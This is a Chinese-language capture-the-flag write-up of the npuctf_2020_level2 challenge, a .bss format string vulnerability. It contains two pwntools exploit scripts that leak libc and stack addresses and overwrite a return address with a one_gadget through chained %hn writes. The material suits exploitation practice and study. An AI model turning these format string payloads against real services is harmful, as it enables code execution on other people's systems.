npuctf_2020_level2(args链的bss格式字符串)
题目的例行检查我就不放了
程序的逻辑也很简单,典型的bss格式字符串漏洞
可以看看看到在ebp下面有一个相互串联的指针,我们可以利用这个链间接写入到bss
并且上面这个libc_start_main+231可以泄露libc
最开始的exp
from pwn import * #p = remote('node4.buuoj.cn','29664') p = process('./npuctf_2020_level2') elf = ELF('./npuctf_2020_level2') libc = ELF('./libc-2.27.so') p.sendline('%7$p') p.recvuntil('0x') libc_base = int(p.recvuntil('\n',drop=True),16) - 0x21b97 print('libc_base--->'+hex(libc_base)) one = [0x4f2c5,0x4f322,0x10a38c] one_gadget = libc_base + one[1] print('one_gadget-->'+hex(one_gadget)) # 9 35 p.sendline('%9$p') p.recvuntil('0x') addr_stark = int(p.recvuntil('\n',drop=True),16)-0xe0 print('addr_stark-->'+hex(addr_stark)) stack_base = addr_stark & 0xffff payload = '%'+str(stack_base)+'c'+'%9$hn' p.sendline(payload) sleep(2) payload1 = '%'+str(one_gadget & 0xff)+'c'+'%35$hhn' p.sendline(payload1) sleep(2) payload2 = '%'+str(stack_base+1)+'c'+'%9$hhn' p.sendline(payload2) sleep(2) payload3 = '%'+str((one_gadget>>8) & 0xffff)+'c'+'%35$hhn' p.sendline(payload3) sleep(2) payload4 = '%'+str(stack_base+2)+'c'+'%9$hhn' p.sendline(payload4) sleep(2) payload5 = '%'+str((one_gadget>>16) & 0xff)+'c'+'%35$hhn' p.sendline(payload5) sleep(2) #p.sendline('66666666') gdb.attach(p) p.interactive()
在程序加了sleep(2)也打不通
在网上查询后看到了别的师傅的exp
from pwn import * #9 35 #p=process('./npuctf_2020_level2') p=remote('node3.buuoj.cn',26286) libc=ELF('../libc-2.27.so') context.log_level='debug' payload1='%7$p#%9$p@' p.sendline(payload1) p.recvuntil('0x') libc_base=(int(p.recvuntil("#",True),16) - 231)-libc.symbols['__libc_start_main'] p.recvuntil('0x') addr_stack=int(p.recvuntil("@",True),16)-0xe0 one_gadgets = [0x4f2c5,0x4f322,0x10a38c] one_gadget=one_gadgets[1]+libc_base stackbase = addr_stack & 0xffff p.sendlineafter('\n', '%' + str(stackbase) + 'c%9$hn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(one_gadget&0xff)+'c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+1)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>8)&0xffff)+'c%35$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str(stackbase+2)+'c%9$hhn\x00') p.sendlineafter('\x20\x20\xb4', '%'+str((one_gadget>>16)&0xff)+'c%35$hhn\x00') #p.recv('\x20\x20\xb4') p.sendline('66666666\x00') #p.recv() print(hex(libc.symbols['__libc_start_main'])) #gdb.attach(p) p.interactive()
才可以打通,学到了